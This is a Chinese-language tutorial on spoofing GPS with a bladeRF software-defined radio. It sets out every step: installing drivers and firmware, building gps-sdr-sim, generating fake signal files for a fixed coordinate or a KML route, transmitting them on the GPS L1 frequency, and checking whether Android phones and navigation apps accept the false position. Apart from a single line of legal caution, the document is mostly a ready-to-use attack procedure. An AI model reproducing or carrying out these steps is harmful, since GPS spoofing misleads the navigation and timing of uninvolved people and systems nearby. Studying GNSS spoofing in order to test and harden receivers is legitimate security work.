使用bladeRF进行GPS欺骗
字数 1228 2025-08-22 12:22:15
使用BladeRF进行GPS欺骗攻击 - 详细教学文档
1. 简介
1.1 BladeRF简介
BladeRF是一款由Nuand公司开发的软件定义无线电(SDR)平台,具有以下特点:
- 高性能、可编程设备
- 能够发送和接收无线电频率信号
- 通过软件控制无线电通信的各个方面
- 替代传统硬件方法的灵活解决方案
1.2 GPS系统简介
GPS(全球定位系统)是基于卫星导航的定位技术:
- 通过一组卫星确定接收器的位置
- 卫星持续广播自己的位置坐标和时间戳
- 接收器通过时间戳和光速计算与卫星的距离
- 理论上需要3颗卫星定位,实际至少需要4颗以减少误差
2. 环境搭建
2.1 硬件准备
- BladeRF设备(x40/x115/A4/A9等型号)
- 运行Kali Linux的主机(推荐)或Windows系统
2.2 Kali Linux环境配置
2.2.1 虚拟机设置
将虚拟机的USB调整为USB3.1模式
2.2.2 安装BladeRF工具
sudo add-apt-repository ppa:nuandllc/bladerf
sudo apt-get update
sudo apt-get install bladerf
2.2.3 安装header文件
sudo apt-get install libbladerf-dev
2.2.4 安装固件和FPGA镜像
根据设备型号选择安装:
sudo apt-get install bladerf-firmware-fx3 # 通用固件
sudo apt-get install bladerf-fpga-hostedx40 # x40型号
sudo apt-get install bladerf-fpga-hostedx115 # x115型号
sudo apt-get install bladerf-fpga-hostedxa4 # 2.0 Micro A4
sudo apt-get install bladerf-fpga-hostedxa9 # 2.0 Micro A9
2.2.5 安装依赖库
sudo apt-get install libusb-1.0-0-dev libusb-1.0-0 build-essential cmake libncurses5-dev libtecla1 libtecla-dev pkg-config git wget
2.2.6 验证设备连接
bladeRF-cli -p
3. GPS数据生成
3.1 获取gps-sdr-sim工具
git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim
3.2 准备卫星星历文件
- 使用项目自带的
brdc0010.22n文件 - 或从NASA等机构获取最新的星历数据
3.3 生成静态GPS数据
示例:生成澳门新葡京的固定坐标数据(22.18982545839303, 113.544124355456)
./gps-sdr-sim -e brdc0010.22n -l 22.18982545839303,113.544124355456,100 -b 16
参数说明:
-e: 星历文件-l: 纬度,经度,高度(米)-b: 位宽(8或16)
输出文件:gpssim.bin
3.4 生成动态GPS轨迹数据
- 在Google Earth等工具中导出轨迹为KML格式
- 使用SatGEN工具将KML转换为MNEA格式
- 生成轨迹数据:
./gps-sdr-sim -e brdc0010.22n -g KMLoutput.txt -b 16
4. GPS欺骗实施
4.1 BladeRF配置
进入交互模式:
bladeRF-cli -i
设置发射参数:
bladeRF> set frequency tx1 1575.42M
bladeRF> set samplerate tx1 2.6M
bladeRF> set bandwidth tx1 2.5M
参数说明:
- 频率:1575.42MHz (GPS L1频段)
- 采样率:2.6MHz
- 带宽:2.5MHz
4.2 发射GPS信号
bladeRF> tx config file=gpssim.bin format=bin channel=1
bladeRF> tx start
bladeRF> tx wait
4.3 测试效果
4.3.1 静态欺骗测试
- 使用Android设备(建议AOSP系统)
- 打开"GPS Test"等仅GPS定位应用
- 观察定位结果是否变为预设坐标
4.3.2 动态轨迹测试
- 使用高德地图等导航应用
- 观察设备是否按照预设轨迹移动
4.3.3 联网状态测试
- 测试联网状态下定位应用是否会被欺骗
- 结果可能因设备型号、Android版本和网络状况而异
5. 注意事项
- 法律合规性:GPS欺骗可能违反当地法律,仅限授权测试使用
- 星历数据:使用最新星历数据可提高欺骗精度
- 设备兼容性:不同BladeRF型号需要对应FPGA镜像
- 信号强度:适当调整发射功率以获得最佳效果
- 测试环境:室内环境更易成功,避免真实GPS信号干扰